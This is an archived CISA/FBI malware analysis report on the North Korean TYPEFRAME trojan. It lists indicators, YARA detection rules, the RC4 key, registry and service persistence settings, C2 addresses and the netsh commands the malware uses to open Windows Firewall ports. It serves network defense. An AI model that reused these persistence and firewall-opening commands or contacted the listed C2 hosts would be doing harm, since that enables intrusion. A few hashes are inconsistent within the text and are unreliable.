

# MAR-10135536-12 – North Korean Trojan: TYPEFRAME | CISA

Published: 2019-03-14 · Archived: 2026-04-05 18:40:45 UTC

## Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. The DHS does not endorse any commercial product or service, referenced in this bulletin or otherwise.

This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see <http://www.us-cert.gov/tlp>.

## Summary

### Description

This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant is known as TYPEFRAME. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit <https://www.us-cert.gov/hiddencobra>.

DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware, report the activity to CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation.

This malware report contains analysis of 11 malware samples consisting of 32-bit and 64-bit Windows executable files and a malicious Microsoft Word document that contains Visual Basic for Applications (VBA) macros. These files have the capability to download and install malware, install proxy and Remote Access Trojans (RATs), connect to command and control (C2) servers to receive additional instructions, and modify the victim's firewall to allow incoming connections.

For a downloadable copy of IOCs, see:

- [MAR-10135536-12.stix](#)

### Submitted Files (11)

201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33 (1C53E7269FE9D84C6DF0A25BA59B82...)

20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64  
(EF9DB20AB0EEBF0B7C55AF4EC0B7BC...)

3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 (java.exe)

40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116 (CA67F84D5A4AC1459934128442C53B...)

4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd (3229A6CEA658B1B3CA5CA9AD7B40D8...)

546dbd370a40c8e46f9b599a414f25000eccc5ae6b3e046a035fe6c6d5d874e1 (6AB301FC3296E1CEB140BF5D294894...)

675a35e04b19aab314bcb4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1 (10B28DA8EEFAC62CE282154F273B3E...)

8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 (F5A4235EF02F34D547F71AA5434D9B...)

c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777  
(BFB41BC0C3856AA0A81A5256B7B8DA...)

d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92 (BF474B8ACD55380B1169BB949D60E9...)

e69d6c2d3e9c4beebef7f3a4a3892e5fcd601beda7c3ec735f0dfba2b29418a7 (60294C426865B38FDE7C5031AFC4E4...)

**Additional Files (3)**

089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359 (midimapper.rs)

a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 (laxhost.dll)

e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef (downhost.dll)

**IPs (7)**

111.207.78.204

181.119.19.56

184.107.209.2

59.90.93.97

80.91.118.45

81.0.213.173

98.101.211.162

**Findings**

**8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8**

**Tags**

backdoorremote-access-trojan Trojan

**Details**

<b>Name</b>	F5A4235EF02F34D547F71AA5434D9BB4
<b>Size</b>	490705 bytes
<b>Type</b>	PE32 executable (GUI) Intel 80386, for MS Windows
<b>MD5</b>	f5a4235ef02f34d547f71aa5434d9bb4
<b>SHA1</b>	338699d56f17ab91fa2da1cb446593c013ae1a01
<b>SHA256</b>	8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8
<b>SHA512</b>	27c610096248492fce0f8f478c62255cd1abc4ceb4a1ae310ca311a6d38ee3b93ce75ba45089204d0eb2036393bdc98b3e77396d5ae6b9ee
<b>ssdeep</b>	12288:2okf/Epk6/lctEJxrXtl3h1ihDnjvAHR7ie5XtO/DRUKwS4Z/B5:2o6/EpH/iwNXtlhSnjg+e5A/DaZp5
<b>Entropy</b>	7.788643

**Antivirus**

<b>Ahnlab</b>	Malware/Win32.Generic
<b>Avira</b>	TR/Crypt.ZPACK.Gen
<b>BitDefender</b>	Trojan.GenericKD.31021159
<b>ClamAV</b>	Win.Trojan.Typeframe-6595033-1
<b>Cyren</b>	W32/Trojan.CTWS-9289
<b>ESET</b>	a variant of Win32/NukeSped.EP trojan
<b>Emsisoft</b>	Trojan.GenericKD.31021159 (B)
<b>Ikarus</b>	Trojan.Crypt
<b>K7</b>	Trojan ( 00535e7c1 )

<b>McAfee</b>	RDN/Generic BackDoor
<b>Microsoft Security Essentials</b>	Trojan:Win32/NukeSped
<b>NANOAV</b>	Trojan.Win32.NukeSped.feqlz
<b>Sophos</b>	Troj/Cruprox-B
<b>Symantec</b>	Trojan Horse
<b>TrendMicro</b>	BKDR_NUKESPED.I
<b>TrendMicro House Call</b>	BKDR_NUKESPED.I
<b>VirusBlokAda</b>	Backdoor.Agent
<b>Zillya!</b>	Backdoor.Agent.Win32.66271

**Yara Rules**

<b>hidden_cobra_consolidated.yara</b>	rule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: \$s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 } \$s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } \$s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }
<b>hidden_cobra_consolidated.yara</b>	rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: \$s0 = { A6 D6 02 EB 4E B2 41 EB C3 EF 1F } \$s1 = { B6 DF 01 FD 48 B5 } \$s2 = { B6 D5 0E F3 4E B5 } \$s3 = { B7 DF 0E EE } \$s4 = { B6 DF 03 FC } \$s5 = { A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2017-06-05 21:21:28-04:00
<b>Import Hash</b>	edb148321293bdc8b7ba8fbe0b1c6ed9

**PE Sections**

MD5	Name	Raw Size	Entropy
dde6c6e739f41680377511c709f7209a	header	4096	0.590336
db44e1900789a7fd43b05d3871c9ab03	.text	53248	6.538652
91d9797bd52d49fb73009fc3e0cdd7c5	.rdata	12288	3.476192
ef4ab26cc2c30397b12c53c759fcbef2	.data	16384	2.132158

**Packers/Compilers/Cryptors**

Microsoft Visual C++ v6.0

**Relationships**

8c3e0204f5...	Contains	a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6
---------------	----------	--

**Description**

This file is a 32-bit Windows portable executable file designed to install a Remote Access Trojan (RAT) as a service on the victim system. The malware accepts the following argument during execution "68S3mI2AMcmOz3BgjnuYpLLz4fZog7sd".

The RAT's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--
```

Decrypted strings of interest are displayed below:

```
--Begin strings of interest--
host.dll
"Task Notification Service"
"Monitors And Notifies Task Scheduling And Interaction"
netsvcs
--End strings of interest--
```

When executed, the RAT checks if the module "C:\Windows\system32\laxhost.dll" is installed on the compromised system. If it is not installed, it will load an embedded RC4 encrypted archive file from the start of the offset "0x15000".

The malware decrypts the archive using the same RC4 key. The decrypted archive contains a malicious DLL module, which is decompressed and installed into "C:\Windows\system32\laxhost.dll". The first three characters of the module name are randomly generated.

The malware contains an RC4 encrypted configuration file data (192 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

```
--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--
```

The malware installs a malicious DLL module as a serviceDLL in the "netsvcs" service group in order to execute "C:\Windows\system32\laxhost.dll" using the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe." The service name and the display name are randomly generated.

The installed service information is displayed below:

```
--Begin service information--
ServiceName = "Irmon"
DisplayName = "Irmon"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k netsvcs"
--End service information--
```

**a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6**

**Tags**

backdoorremote-access-trojan Trojan

**Details**

<b>Name</b>	laxhost.dll
<b>Size</b>	843776 bytes
<b>Type</b>	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
<b>MD5</b>	aa7924157b77dd1ff749d474f3062f90
<b>SHA1</b>	4f02a6bf2b24c371e9f589cff8e32b4d94cf4f29

<b>SHA256</b>	a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6
<b>SHA512</b>	5150d8b063297d0da04288b4e4e2ad3d54b7546d909a71557789529d73703673098c37970280cd62c45306458cfcda701c1a7cee31ee7fb:
<b>ssdeep</b>	24576:r/pmC31xkE8sOvtQ6Wtuc0WhgpaM2yYq:bpj0E8sOvtQ6Wtuc0WhgpaM2yYq
<b>Entropy</b>	6.681288

**Antivirus**

<b>Ahnlab</b>	Backdoor/Win32.Nukesped
<b>Antiy</b>	Trojan/Win32.AGeneric
<b>Avira</b>	TR/AD.LazerusAPT.cpdeh
<b>BitDefender</b>	Trojan.GenericKD.31015744
<b>ClamAV</b>	Win.Trojan.Typeframe-6595033-1
<b>Cyren</b>	W32/Trojan.KSYA-1796
<b>ESET</b>	a variant of Win32/NukeSped.EP trojan
<b>Emsisoft</b>	Trojan.GenericKD.31015744 (B)
<b>Filseclab</b>	W32.NukeSped.EP.zous
<b>Ikarus</b>	Trojan.Win32.NukeSped
<b>K7</b>	Riskware ( 0040eff71 )
<b>McAfee</b>	RDN/Generic BackDoor
<b>Microsoft Security Essentials</b>	Backdoor:Win32/SilverMob.A!dha
<b>NANOAV</b>	Trojan.Win32.Redcap.fepugy
<b>Sophos</b>	Troj/Cruprox-B
<b>Systweak</b>	malware.gen-ra
<b>TrendMicro</b>	BKDR_NU.6961FCEE
<b>TrendMicro House Call</b>	BKDR_NU.6961FCEE
<b>VirusBlokAda</b>	Backdoor.SilverMob
<b>Zillya!</b>	Trojan.NukeSped.Win32.79

**Yara Rules**

<b>hidden_cobra_consolidated.yara</b>	<pre>rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: \$s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} \$s1 = {B6 DF 01 FD 48 B5 } \$s2 = {B6 D5 0E F3 4E B5 } \$s3 = {B7 DF 0E EE } \$s4 = {B6 DF 03 FC } \$s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }</pre>
---------------------------------------	--

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2017-06-09 13:59:30-04:00
<b>Import Hash</b>	180f8d53e7b967e9af9444547c05f192

<b>Company Name</b>	Microsoft Corporation
<b>File Description</b>	Xps Object Model in memory creation and deserialization
<b>Internal Name</b>	xpsservices.dll
<b>Legal Copyright</b>	Microsoft Corporation. All rights reserved.
<b>Original Filename</b>	xpsservices.dll
<b>Product Name</b>	Microsoft Windows Operating System
<b>Product Version</b>	6.1.7601.17514

**PE Sections**

MD5	Name	Raw Size	Entropy
e1b6f98aad18cf1b2e1796eb3d8b783	header	4096	0.800174
5d97a9d06913043a085d8071f7a5ab7c	.text	540672	6.661444
bab7eb304870fe36e8c98f5085b8603c	.rdata	163840	6.184319
33e00b6b91f87e1e948a8bc44803837f	.data	81920	4.853104
4093ef4294e5d39c92ba4d89a6c92a15	.rsrc	8192	3.983157
39ddff289842b4fafc796c9795b870c8	.reloc	45056	5.723684

**Packers/Compilers/Cryptors**

Microsoft Visual C++ 6.0
Microsoft Visual C++ 6.0 DLL (Debug)

**Relationships**

a71017302e...	Connected_To	59.90.93.97
a71017302e...	Contained_Within	8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8

**Description**

laxhost.dll (original name: KDCOLCWP.DLL) is a 32-bit Windows dynamic-link library (DLL) file and is a RAT module that was installed as a service by the file 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8.

laxhost.dll's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--
```

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key:

```
--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--
```

The decrypted data contains hexadecimal-encoded C2 IP address and port number:

```
--Begin IP and port # list -
BB 01 3B 5A 5D 61 ==> 59.90.93.97:443
--End IP and port # list --
```

The malware attempts to connect to its C2 server 59.90.93.97 using port 443 and wait for further instructions.

The malware is designed to accept instructions from the remote server to perform the following functions:

--Begin functions performed by the malware--

- Get Disk Free Space
- Search for files
- Execute process in elevated mode
- Terminate processes
- Delete files
- Execute command-using shell
- Download and upload files
- Read files and write files
- Delete Service and uninstall malware components using a batch script

--End functions performed by the malware--

**675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1**

**Tags**

dropperproxYROJAN

**Details**

<b>Name</b>	10B28DA8EEFAC62CE282154F273B3E34
<b>Size</b>	466267 bytes
<b>Type</b>	PE32 executable (GUI) Intel 80386, for MS Windows
<b>MD5</b>	10b28da8eefac62ce282154f273b3e34
<b>SHA1</b>	25991d00eb1b1204b0066d5aeb79ac691047d7f0
<b>SHA256</b>	675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1
<b>SHA512</b>	7955c46e3d5ed3454340821caecd44d6bc1b918ef7bdc6f0f8d67676cbf0fde52a578583a0388c4d838652d3d1da4615ced6ae2c59b562f0
<b>ssdeep</b>	6144:qoXLxi/EpH/ae6jEazjsHZ3OJJMUc6ngmOsH95rjw26XwXFLP7E1tC1KRtyn5o1n:qoQ/EpH/mEaiZiJy6ngm95t6qLPJp2d
<b>Entropy</b>	7.761748

**Antivirus**

<b>Ahnlab</b>	Malware/Win32.Generic
<b>Antiy</b>	Trojan/Win32.TSGeneric
<b>Avira</b>	TR/Agent.ajluz
<b>BitDefender</b>	Trojan.GenericKD.31017444
<b>ClamAV</b>	Win.Trojan.Typeframe-6595033-1
<b>Cyren</b>	W32/Trojan.LYOG-8913
<b>ESET</b>	a variant of Win32/Agent.YDV trojan
<b>Emsisoft</b>	Trojan.GenericKD.31017444 (B)
<b>Ikarus</b>	Trojan.Win32.Agent
<b>K7</b>	Trojan ( 004fa2411 )
<b>McAfee</b>	Generic.dvp
<b>Microsoft Security Essentials</b>	Trojan:Win32/Autophyte.B!dha
<b>NANOAV</b>	Trojan.Win32.Drop.feqzpd
<b>Sophos</b>	Troj/Agent-AZOF
<b>Symantec</b>	Trojan Horse

<b>TrendMicro</b>	TROJ_PROXSPED.A
<b>TrendMicro House Call</b>	TROJ_PROXSPED.A
<b>VirusBlokAda</b>	BScope.TrojanDropper.Agent
<b>Zillya!</b>	Trojan.Agent.Win32.902273

**Yara Rules**

<b>hidden_cobra_consolidated.yara</b>	rule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: \$s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 } \$s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } \$s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }
<b>hidden_cobra_consolidated.yara</b>	rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: \$s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} \$s1 = {B6 DF 01 FD 48 B5 } \$s2 = {B6 D5 0E F3 4E B5 } \$s3 = {B7 DF 0E EE } \$s4 = {B6 DF 03 FC } \$s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2016-07-24 19:38:33-04:00
<b>Import Hash</b>	225e9f7be86d6676c98a852492458049

**PE Sections**

MD5	Name	Raw Size	Entropy
58c7eb8637b7fbde7bb31985b77ca1af	header	4096	0.591843
65d9f034d6153048c3e51bf5e07d6486	.text	53248	6.446416
eb9c5e8a429ac587cd35fdcec939295	.rdata	12288	3.434883
d80b556aaa361958d9ecd816ac2a36c7	.data	16384	2.106829

**Packers/Compilers/Cryptors**

Microsoft Visual C++ v6.0

**Relationships**

675a35e04b...	Contains	e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7
---------------	----------	--

**Description**

This file is a 32-bit Windows executable designed to install a proxy module as a service on the victim's system. This file accepts the following arguments during execution: "68S3mI2AMcmOz3BgjnuYpLIZ4fZog7sd."

The malware's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--
```

Decrypted strings of interest are displayed below:

```
--Begin strings of interest--
"wmpayer.xml"
"printcache.tlb"
"Print Device Cache"
"Manage Print Device Cache And Printing"
printcache
--End strings of interest--
```

When executed, it will load an embedded RC4 encrypted archive file from the start of the offset "0x15000."

The malware decrypts the archive using the same RC4 key. The decrypted archive contains a proxy module, which is decompressed and installed from the existing file name "wmpayer.xml" to "C:\Windows\system32\printcache.tlb."

The malware installs the module as a serviceDLL in the "printcache" service group in order to execute "C:\Windows\system32\printcache.tlb" using the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe."

```
--Begin service--
ServiceName = "printcache"
DisplayName = "Print Device Cache"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k printcache"
--End service--
```

The malware contains an RC4 encrypted configuration file data, which contains port numbers (8 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

```
--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--
```

**e69d6c2d3e9c4beebec7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7**

**Tags**

proxytrojan

**Details**

<b>Name</b>	60294C426865B38FDE7C5031AFC4E453
<b>Size</b>	778240 bytes
<b>Type</b>	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
<b>MD5</b>	60294c426865b38fde7c5031afc4e453
<b>SHA1</b>	f8736e3f89f30f082cfd68a73763afcfb0e1c9c3
<b>SHA256</b>	e69d6c2d3e9c4beebec7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7
<b>SHA512</b>	fe96fa2f127a3a71a9edc89268567188f8c585ea8356feb9a2c46224dc7022b3d751848424df745b517e7a1e123c566b6feb094653281026ff
<b>ssdeep</b>	12288:8iwDMd29KJgSWD8QfEbsjlqxlsiAen1XQ1pV+jPA:8WghEbvHAeC1pIDAt
<b>Entropy</b>	6.714021

**Antivirus**

<b>Ahnlab</b>	Trojan/Win32.Agent
---------------	--------------------

<b>Antiy</b>	Trojan/Win32.Agentb
<b>Avira</b>	TR/RedCap.gzgan
<b>BitDefender</b>	Gen:Variant.Symmi.14589
<b>ClamAV</b>	Win.Trojan.Typeframe-6595033-1
<b>Cyren</b>	W32/Trojan.LQBT-4086
<b>ESET</b>	Win32/NukeSped.EO trojan
<b>Emsisoft</b>	Gen:Variant.Symmi.14589 (B)
<b>Ikarus</b>	Trojan-Proxy.Win32.SilverMob
<b>K7</b>	Trojan ( 00535e7f1 )
<b>McAfee</b>	GenericRXFZ-TW!60294C426865
<b>Microsoft Security Essentials</b>	TrojanProxy:Win32/SilverMob.A!dha
<b>NANOAV</b>	Trojan.Win32.RedCap.feqzkt
<b>Sophos</b>	Troj/Cruprox-B
<b>Symantec</b>	Trojan Horse
<b>TACHYON</b>	Process timed out
<b>TrendMicro</b>	TROJ_PROXSPED.A
<b>TrendMicro House Call</b>	TROJ_PROXSPED.A
<b>VirusBlokAda</b>	Trojan.Agentb
<b>Zillya!</b>	Trojan.Agentb.Win32.19365

**Yara Rules**

<b>hidden_cobra_consolidated.yara</b>	<pre>rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: \$s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} \$s1 = {B6 DF 01 FD 48 B5 } \$s2 = {B6 D5 0E F3 4E B5 } \$s3 = {B7 DF 0E EE } \$s4 = {B6 DF 03 FC } \$s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }</pre>
---------------------------------------	--

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2017-03-02 14:01:47-05:00
<b>Import Hash</b>	09e63e3d425d6b543de4003f71c2b66d

**PE Sections**

MD5	Name	Raw Size	Entropy
1eda6d8dec57fac45afb42a6f27080a0	header	4096	0.767469
4109d939d8532ac1bd9f2cfa81a33905	.text	475136	6.632858
3b24a4913977b402a4dce1694306cfb	.rdata	147456	5.923542
f597eb4917ef44a2f9a080fc59f528f3	.data	77824	4.968551

MD5	Name	Raw Size	Entropy
77c814f5856057e7a7f6237bbba51a76	.rsrc	32768	7.100017
438ec3064d499d63eb03035aa1f7a142	.reloc	40960	5.759460

**Packers/Compilers/Cryptors**

Microsoft Visual C++ 6.0
Microsoft Visual C++ 6.0 DLL (Debug)

**Relationships**

e69d6c2d3e...	Contained_Within	675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1
---------------	------------------	--

**Description**

This file, printcache.tlb (original name: PDll.dll), is a proxy module installed as a service by the file 675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1. This file is designed to open the Windows Firewall on the victim's machine to allow incoming connections and force the compromised system to function as a proxy server.

The malware's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin Rc4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End Rc4 key--
```

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

```
--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--
```

The decrypted data contains hexadecimal encoded port numbers:

```
--Begin port # list --
BB 01 ==> 1BB ==> 443
7F 00 ==> 7F ==> 127
90 1F ==> 1F90 == 8080
--End port # list --
```

The malware utilized the following command to open the Windows Firewall on the victim's machine to allow incoming connections.

```
--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=443 action"
--End firewall modification--
```

The malware attempts to open ports 443, 127, and 8080 and wait for a connection. The malware contains public SSL certificates in its resource named "101" and is designed to generate crafted TLS sessions (fake TLS communication mechanism).

**089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359**

**Tags**

proxytrojan

**Details**

<b>Name</b>	midimapper.rs
-------------	---------------

<b>Size</b>	761856 bytes
<b>Type</b>	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
<b>MD5</b>	00b0cfb59b088b247c97c8fed383c115
<b>SHA1</b>	0cdee734d3a17de0e81b9b2b0b36804d516c3212
<b>SHA256</b>	089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359
<b>SHA512</b>	9c9f65e277816a42574ddc28724e1afde8c3bffd0e8bf2e0414204d7b07384848718ada43e59c206b6d13dca33c28c4ae3a82ec12b21207efc
<b>ssdeep</b>	12288:5XYoUXvfAkdRwowG358mOIVvRaXKgCJpV4DDxazAF:+zwowHJ46Jp+DmfAF
<b>Entropy</b>	6.693566

**Antivirus**

<b>Ahnlab</b>	Trojan/Win32.Agent
<b>Antiy</b>	Trojan/Win32.Agentb
<b>BitDefender</b>	Gen:Variant.Symmi.14589
<b>ClamAV</b>	Win.Trojan.Typeframe-6595033-1
<b>Cyren</b>	W32/Trojan.DYIG-2477
<b>ESET</b>	Win32/NukeSped.AQ trojan
<b>Emsisoft</b>	Gen:Variant.Symmi.14589 (B)
<b>Ikarus</b>	Trojan.Win32.Agentb
<b>K7</b>	Trojan ( 0051e0501 )
<b>McAfee</b>	GenericRFXZ-TW!00B0CFB59B08
<b>Microsoft Security Essentials</b>	TrojanProxy:Win32/SilverMob.A!dha
<b>NANOAV</b>	Trojan.Win32.NukeSped.eylorq
<b>Sophos</b>	Troj/NukeSped-A
<b>Symantec</b>	Trojan.Gen.2
<b>TrendMicro</b>	TROJ_NUKESPED.D
<b>TrendMicro House Call</b>	TROJ_NUKESPED.D
<b>VirusBlokAda</b>	Trojan.Agentb
<b>Zillya!</b>	Trojan.Agentb.Win32.18439

**Yara Rules**

<b>hidden_cobra_consolidated.yara</b>	<pre>rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: \$s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} \$s1 = {B6 DF 01 FD 48 B5 } \$s2 = {B6 D5 0E F3 4E B5 } \$s3 = {B7 DF 0E EE } \$s4 = {B6 DF 03 FC } \$s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }</pre>
---------------------------------------	--

**ssdeep Matches**

<b>100</b>	dfb41457088fa2003a085c325bcb63666e1e66fa36bdc8975995bfbac39500d
------------	---

**PE Metadata**

<b>Compile Date</b>	2016-07-25 03:12:34-04:00
<b>Import Hash</b>	100f0ee6d217c6b9e15be71a6c42a2d3

**PE Sections**

MD5	Name	Raw Size	Entropy
93649845b04705777d78e05982b93e5f	header	4096	0.765196
93649845b04705777d78e05982b93e5f	header	4096	0.765196
aca858c8ea569b991797da02f8613716	.text	458752	6.614177
aca858c8ea569b991797da02f8613716	.text	458752	6.614177
11b9d8a29ef67ebb2c19f753f1c7ada4	.rdata	147456	5.918054
11b9d8a29ef67ebb2c19f753f1c7ada4	.rdata	147456	5.918054
72b7a8f5d846964649b682d6ef074cc0	.data	77824	4.964840
72b7a8f5d846964649b682d6ef074cc0	.data	77824	4.964840
d73a8feca0f13f34575c84df77fbed0e	.rsrc	32768	7.100191
d73a8feca0f13f34575c84df77fbed0e	.rsrc	32768	7.100191
61c29b19fe37db83e42ef9ddf46eb40f	.reloc	40960	5.689934
61c29b19fe37db83e42ef9ddf46eb40f	.reloc	40960	5.689934

**Packers/Compilers/Cryptors**

Microsoft Visual C++ 6.0
Microsoft Visual C++ 6.0 DLL (Debug)

**Description**

midmapper.rs (original name: MDll.dll) is a proxy module installed as a service. This file is designed to open the Windows Firewall on the victim's machine to allow incoming connections and force the compromised system to function as a proxy server.

The malware's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin Rc4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End Rc4 key--
```

When executed, the malware loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

```
--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--
```

The decrypted data contains hexadecimal encoded port numbers:

```
-- Begin port # list --
FB 20 ==> 20FB ==> 8443
-- End port # list --
```

The malware utilized the following command to open the Windows Firewall on the victim's machine to allow incoming connections.

--Begin firewall modification--

```
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=8443 action=allow enable=yes"
```

--End firewall modification--

